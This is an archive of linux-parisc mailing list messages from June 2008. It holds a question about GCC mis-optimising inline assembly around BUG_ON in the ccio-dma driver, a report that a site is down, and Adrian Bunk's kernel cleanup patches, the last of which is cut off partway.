Message-ID: <48550D05.2060501@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213533467 16302 80.91.229.12 (15 Jun 2008 12:37:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Jun 2008 12:37:47 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 15 14:38:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7rV5-0000Ux-7T
	for glpp-linux-parisc@gmane.org; Sun, 15 Jun 2008 14:38:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752037AbYFOMhb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Jun 2008 08:37:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751715AbYFOMhb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Jun 2008 08:37:31 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:44512 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752037AbYFOMha (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Jun 2008 08:37:30 -0400
Original-Received: from [213.49.85.148] (ip-213-49-85-148.dsl.scarlet.be [213.49.85.148])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5FCbPwu008053;
	Sun, 15 Jun 2008 14:37:27 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
X-DCC-scarlet.be-Metrics: hel 20001; Body=2 Fuz1=2 Fuz2=2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:396
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/396>

Hello all,

looking at this hunk:
void CCIO_INLINE
ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
                    unsigned long hints)
{
         register unsigned long pa;
         register unsigned long ci; /* coherent index */

         /* We currently only support kernel addresses */
         BUG_ON(sid != KERNEL_SPACE);

         mtsp(sid,1);

[snip]
         pa = virt_to_phys(vba);
         asm volatile("depw  %1,31,12,%0" : "+r" (pa) : "r" (hints));
         ((u32 *)pdir_ptr)[1] = (u32) pa;

[snip]
         pa = 0;
[snip]
         asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r" (vba));
         asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
         asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));

         ((u32 *)pdir_ptr)[0] = (u32) pa;

[snip]
         asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
         asm volatile("sync");
}
(I just remove comments and 64bit stuff)

and I noticed that resulting code looks like:
    0:   cb 39 a0 60     movb,<> r25,r25,38 <ccio_io_pdir_entry+0x38>
    4:   34 1c 00 00     ldi 0,ret0
    8:   00 1c 58 20     mtsp ret0,sr1
    c:   22 60 0e 01     ldil L%-10000000,r19
   10:   0a 78 0a 13     add,l r24,r19,r19
   14:   d6 77 0c 14     depw r23,31,12,r19
   18:   0f 53 12 88     stw r19,4(r26)
   1c:   07 00 53 1c     lci r0(sr1,r24),ret0
   20:   d3 9c 1a 74     extrw,u ret0,19,12,ret0
   24:   d7 3c 0e 14     depw ret0,15,12,r25
   28:   0f 59 12 80     stw r25,0(r26)
   2c:   07 40 12 80     fdc r0(r26)
   30:   00 00 04 00     sync
   34:   e8 40 c0 02     bv,n r0(rp)
   38:   03 ff e0 1f     break 1f,1fff
   3c:   e8 1f 1f f7     b,l,n 3c <ccio_io_pdir_entry+0x3c>,r0
Disassembly of section .text.ccio_proc_bitmap_open:

And my worry was about lines 4: and 8:.
According to the C code, I don't understand why optimization want to initialize sr1 to 0 while it should be set to r25 (i.e. 
arg1)?

Otoh, the sba botherhood code didn't showing the same behaviour:
    0:   22 a0 0e 01     ldil L%-10000000,r21
    4:   34 1c 00 00     ldi 0,ret0
    8:   34 1d 20 01     ldi -1000,ret1
    c:   0a b8 0a 15     add,l r24,r21,r21
   10:   08 15 02 56     copy r21,r22
   14:   34 15 00 00     ldi 0,r21
   18:   0b 95 02 15     and r21,ret0,r21
   1c:   0b b6 02 16     and r22,ret1,r22
   20:   00 19 58 20     mtsp r25,sr1
   24:   07 00 53 13     lci r0(sr1,r24),r19
   28:   d2 73 1a 6c     extrw,u r19,19,20,r19
   2c:   23 80 00 01     ldil L%-80000000,ret0
   30:   34 1d 00 00     ldi 0,ret1

but didn't start with BUG_ON(), I simply try to remove this from ccio code and get a better result:
00000000 <ccio_io_pdir_entry>:
    0:   00 19 58 20     mtsp r25,sr1
    4:   23 80 0e 01     ldil L%-10000000,ret0
    8:   0b 98 0a 1c     add,l r24,ret0,ret0
    c:   d7 97 0c 14     depw r23,31,12,ret0
   10:   0f 5c 12 88     stw ret0,4(r26)
   14:   07 00 53 18     lci r0(sr1,r24),r24
   18:   d3 18 1a 74     extrw,u r24,19,12,r24
   1c:   34 1c 00 00     ldi 0,ret0
   20:   d7 98 0e 14     depw r24,15,12,ret0
   24:   0f 5c 12 80     stw ret0,0(r26)
   28:   07 40 12 80     fdc r0(r26)
   2c:   00 00 04 00     sync
   30:   e8 40 c0 02     bv,n r0(rp)
Disassembly of section .init.text:

But this time, it seems not consider assembly:
         asm volatile ("lci %%r0(%%sr1, %1), %0" : "=r" (ci) : "r" (vba));
         asm volatile ("extru %1,19,12,%0" : "+r" (ci) : "r" (ci));
         asm volatile ("depw  %1,15,12,%0" : "+r" (pa) : "r" (ci));

as a 'volatile' block and insert line 1c:
This could may be solved by re-write as an one 'volatile' asm block like:
	asm volatile (
	"lci %%r0(%%sr1, %1), %1"
	"\textru        %1,19,12,%1\n"
	"\tdepw         %1,15,12,%0\n"
	: "=r" (pa)
	: "r" (vba));

and even add a clobber 'memory'
	asm volatile (
	"lci %%r0(%%sr1, %1), %1"
	"\textru        %1,19,12,%1\n"
	"\tdepw         %1,15,12,%0\n"
	: "=r" (pa)
	: "r" (vba)
	: "memory");

But I have no clue how to restore BUG_ON() and avoid wrong optimization?

Any idea?

Tia,
	r.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Is www.parisc-linux.org down?
Date: Sun, 15 Jun 2008 13:11:15 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <485514F3.9050401@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213535496 21824 80.91.229.12 (15 Jun 2008 13:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Jun 2008 13:11:36 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 15 15:12:18 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7s1p-0001u8-Ld
	for glpp-linux-parisc@gmane.org; Sun, 15 Jun 2008 15:12:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757376AbYFONL1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Jun 2008 09:11:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757398AbYFONL1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Jun 2008 09:11:27 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:46830 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757376AbYFONL0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Jun 2008 09:11:26 -0400
Original-Received: from [213.49.85.148] (ip-213-49-85-148.dsl.scarlet.be [213.49.85.148])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5FDBFBF008017;
	Sun, 15 Jun 2008 15:11:16 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
X-DCC-scarlet.be-Metrics: sif 20001; Body=2 Fuz1=2 Fuz2=2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/397>

Hello dear parisc-linux.org maintainers,

I try to look for some archived mail on 'http://parisc-linux.org/mailing-lists/index.html'

but it din't answers: 'The server at www.parisc-linux.org is taking too long to respond.'

I just hope it's just a temporary failure.

Tia,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Sun, 15 Jun 2008 19:13:16 +0300
Lines: 21
Approved: news@gmane.org
Message-ID: <20080615161316.GA7865@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213546492 18536 80.91.229.12 (15 Jun 2008 16:14:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Jun 2008 16:14:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 15 18:15:35 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7ut7-0003Cq-9n
	for glpp-linux-parisc@gmane.org; Sun, 15 Jun 2008 18:15:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758306AbYFOQOf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Jun 2008 12:14:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758270AbYFOQOf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Jun 2008 12:14:35 -0400
Original-Received: from smtp4.pp.htv.fi ([213.243.153.38]:60777 "EHLO smtp4.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758255AbYFOQOe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Jun 2008 12:14:34 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp4.pp.htv.fi (Postfix) with ESMTP id C8C605BC00F;
	Sun, 15 Jun 2008 19:14:33 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:398 gmane.linux.kernel:694199
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/398>

This patch adds the missing MODULE_LICENSE("GPL").

Reported-by: Adrian Bunk <bunk@kernel.org>
Signed-off-by: Adrian Bunk <bunk@kernel.org>

---
4cec562181f818f16f072b9a14ca7a0ce6c66417 diff --git a/fs/binfmt_som.c b/fs/binfmt_som.c
index fdc36bf..6d3bebb 100644
--- a/fs/binfmt_som.c
+++ b/fs/binfmt_som.c
@@ -308,3 +308,5 @@ static void __exit exit_som_binfmt(void)
 
 core_initcall(init_som_binfmt);
 module_exit(exit_som_binfmt);
+
+MODULE_LICENSE("GPL");
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [2.6 patch] drivers/parisc/: make code static
Date: Sun, 15 Jun 2008 19:13:41 +0300
Lines: 178
Approved: news@gmane.org
Message-ID: <20080615161341.GF7865@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213546539 18728 80.91.229.12 (15 Jun 2008 16:15:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Jun 2008 16:15:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 15 18:16:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7utx-00047Z-G2
	for glpp-linux-parisc@gmane.org; Sun, 15 Jun 2008 18:16:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759267AbYFOQPJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Jun 2008 12:15:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759255AbYFOQPI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Jun 2008 12:15:08 -0400
Original-Received: from smtp6.pp.htv.fi ([213.243.153.40]:42548 "EHLO smtp6.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759059AbYFOQO7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Jun 2008 12:14:59 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp6.pp.htv.fi (Postfix) with ESMTP id 27BA25BC04D;
	Sun, 15 Jun 2008 19:14:58 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:399 gmane.linux.kernel:694200
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/399>

This patch makes the following needlessly global code static:
- asp.c: asp_init_chip()
- ccio-dma.c: ccio_io_pdir_entry()
- dino.c: struct dino_port_ops
- dino.c: struct dino_bios_ops
- hppb.c: struct hppb_card_head
- lasi.c: lasi_led_init()
- lasi.c: lasi_init_chip()
- lba_pci.c: struct lba_bios_ops
- sba_iommu.c: sba_io_pdir_entry()
- sba_iommu.c: sba_driver_callback()
- sba_iommu.c: sba_driver_callback()
- wax.c: wax_init_chip()

Signed-off-by: Adrian Bunk <bunk@kernel.org>

---

 drivers/parisc/asp.c       |    3 +--
 drivers/parisc/ccio-dma.c  |    2 +-
 drivers/parisc/dino.c      |    4 ++--
 drivers/parisc/hppb.c      |    2 +-
 drivers/parisc/lasi.c      |    5 ++---
 drivers/parisc/lba_pci.c   |    2 +-
 drivers/parisc/sba_iommu.c |    7 +++----
 drivers/parisc/wax.c       |    3 +--
 8 files changed, 12 insertions(+), 16 deletions(-)

78e10083d054032afa9979cae16c10d54d366855 diff --git a/drivers/parisc/asp.c b/drivers/parisc/asp.c
index 8213691..7931133 100644
--- a/drivers/parisc/asp.c
+++ b/drivers/parisc/asp.c
@@ -71,8 +71,7 @@ static void asp_choose_irq(struct parisc_device *dev, void *ctrl)
  */
 #define ASP_INTERRUPT_ADDR 0xf0800000
 
-int __init
-asp_init_chip(struct parisc_device *dev)
+static int __init asp_init_chip(struct parisc_device *dev)
 {
 	struct gsc_irq gsc_irq;
 	int ret;
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index b30e38f..898f69e 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -564,7 +564,7 @@ static u32 hint_lookup[] = {
  * (Load Coherence Index) instruction.  The 8 bits used for the virtual
  * index are bits 12:19 of the value returned by LCI.
  */ 
-void CCIO_INLINE
+static void CCIO_INLINE
 ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		   unsigned long hints)
 {
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index fd56128..ada21b0 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -287,7 +287,7 @@ DINO_PORT_OUT(b,  8, 3)
 DINO_PORT_OUT(w, 16, 2)
 DINO_PORT_OUT(l, 32, 0)
 
-struct pci_port_ops dino_port_ops = {
+static struct pci_port_ops dino_port_ops = {
 	.inb	= dino_in8,
 	.inw	= dino_in16,
 	.inl	= dino_in32,
@@ -688,7 +688,7 @@ dino_fixup_bus(struct pci_bus *bus)
 }
 
 
-struct pci_bios_ops dino_bios_ops = {
+static struct pci_bios_ops dino_bios_ops = {
 	.init		= dino_bios_init,
 	.fixup_bus	= dino_fixup_bus
 };
diff --git a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
index 65eee67..1385641 100644
--- a/drivers/parisc/hppb.c
+++ b/drivers/parisc/hppb.c
@@ -29,7 +29,7 @@ struct hppb_card {
 	struct hppb_card *next;
 };
 
-struct hppb_card hppb_card_head = {
+static struct hppb_card hppb_card_head = {
 	.hpa = 0,
 	.next = NULL,
 };
diff --git a/drivers/parisc/lasi.c b/drivers/parisc/lasi.c
index bee5100..e65727c 100644
--- a/drivers/parisc/lasi.c
+++ b/drivers/parisc/lasi.c
@@ -107,7 +107,7 @@ lasi_init_irq(struct gsc_asic *this_lasi)
 
 #else
 
-void __init lasi_led_init(unsigned long lasi_hpa)
+static void __init lasi_led_init(unsigned long lasi_hpa)
 {
 	unsigned long datareg;
 
@@ -163,8 +163,7 @@ static void lasi_power_off(void)
 	gsc_writel(0x02, datareg);
 }
 
-int __init
-lasi_init_chip(struct parisc_device *dev)
+static int __init lasi_init_chip(struct parisc_device *dev)
 {
 	extern void (*chassis_power_off)(void);
 	struct gsc_asic *lasi;
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index a28c894..d8233de 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -824,7 +824,7 @@ lba_fixup_bus(struct pci_bus *bus)
 }
 
 
-struct pci_bios_ops lba_bios_ops = {
+static struct pci_bios_ops lba_bios_ops = {
 	.init =		lba_bios_init,
 	.fixup_bus =	lba_fixup_bus,
 };
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index bc73b96..34763e2 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -561,7 +561,7 @@ typedef unsigned long space_t;
  * IOMMU uses little endian for the pdir.
  */
 
-void SBA_INLINE
+static void SBA_INLINE
 sba_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		  unsigned long hint)
 {
@@ -1874,7 +1874,7 @@ static struct parisc_device_id sba_tbl[] = {
 	{ 0, }
 };
 
-int sba_driver_callback(struct parisc_device *);
+static int sba_driver_callback(struct parisc_device *);
 
 static struct parisc_driver sba_driver = {
 	.name =		MODULE_NAME,
@@ -1887,8 +1887,7 @@ static struct parisc_driver sba_driver = {
 ** If so, initialize the chip and tell other partners in crime they
 ** have work to do.
 */
-int
-sba_driver_callback(struct parisc_device *dev)
+static int sba_driver_callback(struct parisc_device *dev)
 {
 	struct sba_device *sba_dev;
 	u32 func_class;
diff --git a/drivers/parisc/wax.c b/drivers/parisc/wax.c
index 892a83b..da9d5ad 100644
--- a/drivers/parisc/wax.c
+++ b/drivers/parisc/wax.c
@@ -68,8 +68,7 @@ wax_init_irq(struct gsc_asic *wax)
 //	gsc_writel(0xFFFFFFFF, base+0x2000); /* RS232-B on Wax */
 }
 
-int __init
-wax_init_chip(struct parisc_device *dev)
+static int __init wax_init_chip(struct parisc_device *dev)
 {
 	struct gsc_asic *wax;
 	struct parisc_device *parent;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: parisc: pcibios_init_bus() isn't called
Date: Sun, 15 Jun 2008 19:13:27 +0300
Lines: 13
Approved: news@gmane.org
Message-ID: <20080615161327.GC7865@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213546542 18739 80.91.229.12 (15 Jun 2008 16:15:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Jun 2008 16:15:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758488AbYFOQPW@vger.kernel.org Sun Jun 15 18:16:25 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758488AbYFOQPW@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7uty-00047Z-3W
	for glk-linux-kernel-3@gmane.org; Sun, 15 Jun 2008 18:16:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758488AbYFOQPW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 15 Jun 2008 12:15:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759064AbYFOQPD
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sun, 15 Jun 2008 12:15:03 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:40784 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758911AbYFOQOq (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 15 Jun 2008 12:14:46 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id DEBF85BC03A;
	Sun, 15 Jun 2008 19:14:44 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:694201 gmane.linux.ports.parisc:400
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/400>

arch/parisc/kernel/pci.c:pcibios_init_bus() never gets called - this
doesn't seem to be intentionally?

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed


From - Thu Nov 08 21:02:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [2.6 patch] parisc/kernel/ cleanups
Date: Sun, 15 Jun 2008 19:13:31 +0300
Lines: 316
Approved: news@gmane.org
Message-ID: <20080615161331.GD7865@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1213546544 18748 80.91.229.12 (15 Jun 2008 16:15:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Jun 2008 16:15:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 15 18:16:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K7utv-00047Z-Sz
	for glpp-linux-parisc@gmane.org; Sun, 15 Jun 2008 18:16:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759224AbYFOQPG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Jun 2008 12:15:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759161AbYFOQPF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 15 Jun 2008 12:15:05 -0400
Original-Received: from smtp6.pp.htv.fi ([213.243.153.40]:42538 "EHLO smtp6.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759045AbYFOQOu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Jun 2008 12:14:50 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp6.pp.htv.fi (Postfix) with ESMTP id E0C4F5BC01C;
	Sun, 15 Jun 2008 19:14:48 +0300 (EEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:401 gmane.linux.kernel:694202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/401>

This patch contains the following cleanups:
- make the following needlessly global code static:
  - cache.c: split_tlb
  - cache.c: clear_user_page_asm()
  - cache.c: parisc_cache_flush_threshold
  - drivers.c: create_tree_node()
  - drivers.c: struct parisc_bus_type
  - drivers.c: walk_lower_bus()
  - firmware.c: real32_call()
  - firmware.c: real64_call()
  - perf.c: struct cpu_device
  - setup.c: setup_cmdline()
  - setup.c: dma_ops_init()
  - smp.c: ipi_lock
  - smp.c: smp_boot_one_cpu()
  - traps.c: parisc_show_stack()
  - traps.c: transfer_pim_to_trap_frame()
  - traps.c: check_ivt()
- #if 0 the following unused function:
  - pdc_cons.c: pdc_console_poll_key()
- remove the following unused code:
  - smp.c: smp_lock
  - traps.c: syscall_ipi()

Signed-off-by: Adrian Bunk <bunk@kernel.org>

---

 arch/parisc/kernel/cache.c         |    7 +++----
 arch/parisc/kernel/drivers.c       |    8 +++++---
 arch/parisc/kernel/firmware.c      |    8 ++++----
 arch/parisc/kernel/pdc_cons.c      |    2 ++
 arch/parisc/kernel/perf.c          |    2 +-
 arch/parisc/kernel/setup.c         |    4 ++--
 arch/parisc/kernel/smp.c           |    6 ++----
 arch/parisc/kernel/traps.c         |   17 ++++++-----------
 include/asm-parisc/cache.h         |    1 -
 include/asm-parisc/parisc-device.h |    2 --
 10 files changed, 25 insertions(+), 32 deletions(-)

a28552f78d6890ea341e3a36031266350f811c60 diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index e10d25d..09a6475 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -29,7 +29,7 @@
 #include <asm/processor.h>
 #include <asm/sections.h>
 
-int split_tlb __read_mostly;
+static int split_tlb __read_mostly;
 int dcache_stride __read_mostly;
 int icache_stride __read_mostly;
 EXPORT_SYMBOL(dcache_stride);
